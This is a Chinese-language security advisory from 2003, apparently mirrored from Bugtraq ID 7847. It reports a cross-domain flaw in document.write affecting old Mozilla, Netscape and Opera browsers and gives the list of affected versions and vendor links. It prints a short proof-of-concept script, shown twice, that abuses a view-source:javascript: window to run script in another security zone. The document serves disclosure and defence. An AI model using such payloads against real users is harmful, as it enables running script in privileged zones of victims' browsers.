发布日期：2003-06-07
更新日期：2003-06-13

受影响系统：

Mozilla Browser 1.3.1
Mozilla Browser 1.3
Mozilla Browser 1.2.1
Mozilla Browser 1.1
Mozilla Browser 1.0.1
Mozilla Browser 1.0 RC2
Mozilla Browser 1.0 RC1
Netscape Communicator 7.02
Netscape Communicator 7.01
Netscape Communicator 7.0
Netscape Communicator 6.2.3
Netscape Communicator 6.2.2
Netscape Communicator 6.2.1
Netscape Communicator 6.2
Netscape Communicator 6.1
Netscape Communicator 6.01a
Netscape Communicator 6.01
Netscape Communicator 6.0
Netscape Communicator 4.79
Netscape Communicator 4.78
Netscape Communicator 4.77
Netscape Communicator 4.76
Netscape Communicator 4.75
Netscape Communicator 4.74
Netscape Communicator 4.73
Netscape Communicator 4.72
Netscape Communicator 4.7
Netscape Communicator 4.61
Netscape Communicator 4.6
Netscape Communicator 4.5BETA
Netscape Communicator 4.51
Netscape Communicator 4.5
Netscape Communicator 4.08
Netscape Communicator 4.07
Netscape Communicator 4.06
Netscape Communicator 4.05
Netscape Communicator 4.04
Netscape Communicator 4.0
Opera Software Opera Web Browser 7.11
Opera Software Opera Web Browser 7.10
Opera Software Opera Web Browser 7.03 win32
Opera Software Opera Web Browser 7.02 win32
Opera Software Opera Web Browser 7.01 win32
Opera Software Opera Web Browser 7.0 win32
Opera Software Opera Web Browser 6.0.5 win32
Opera Software Opera Web Browser 6.0.3 win32
Opera Software Opera Web Browser 6.0.3 linux
Opera Software Opera Web Browser 6.0.2 win32
Opera Software Opera Web Browser 6.0.10 linux
Opera Software Opera Web Browser 6.0.1 Linux
Opera Software Opera Web Browser 6.0.1
Mozilla Browser 1.0
    - Conectiva Linux 8.0
    - Debian Linux 3.0
    - FreeBSD 5.0
    - Mandrake Linux 9.0
    - Mandrake Linux 8.2
    - RedHat Linux 8.0

描述：

---

BUGTRAQ  ID: 7847

多种WEB浏览器存在交叉域检查问题。

多种WEB浏览器在处理Document.Write方法时存在问题，远程攻击者可以利用这个漏洞构建恶意页面，诱使用户访问，导致以其他安全区域中执行任意文件。

构建包含如下代码的页面，诱使用户访问，可导致在安全区域(如本地计算机域)中执行脚本内容：

-----------snip--------------

<script>
function werd()
{
a.document.open();
a.document.write("<h1>werd</h1>");
a.document.close();
}

function winopen() {

a=window.open("view-source:javascript:location='http://www.iss.net';");

setTimeout('werd()',23000);
}

</script>

--------------------------------------------------------------------------

<*来源：meme-boi （meme-boi@nothotmail.org）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=105501303217959&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

meme-boi （meme-boi@nothotmail.org）提供了如下测试方法：

<script>
function werd()
{
a.document.open();
a.document.write("<h1>werd</h1>");
a.document.close();
}

function winopen() {

a=window.open("view-source:javascript:location='http://www.iss.net';");

setTimeout('werd()',23000);
}

</script>

建议：

---

厂商补丁：

Mozilla
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.mozilla.org/

Netscape
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.netscape.com

Opera Software
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.opera.com

浏览次数：3250
严重程度：0（网友投票）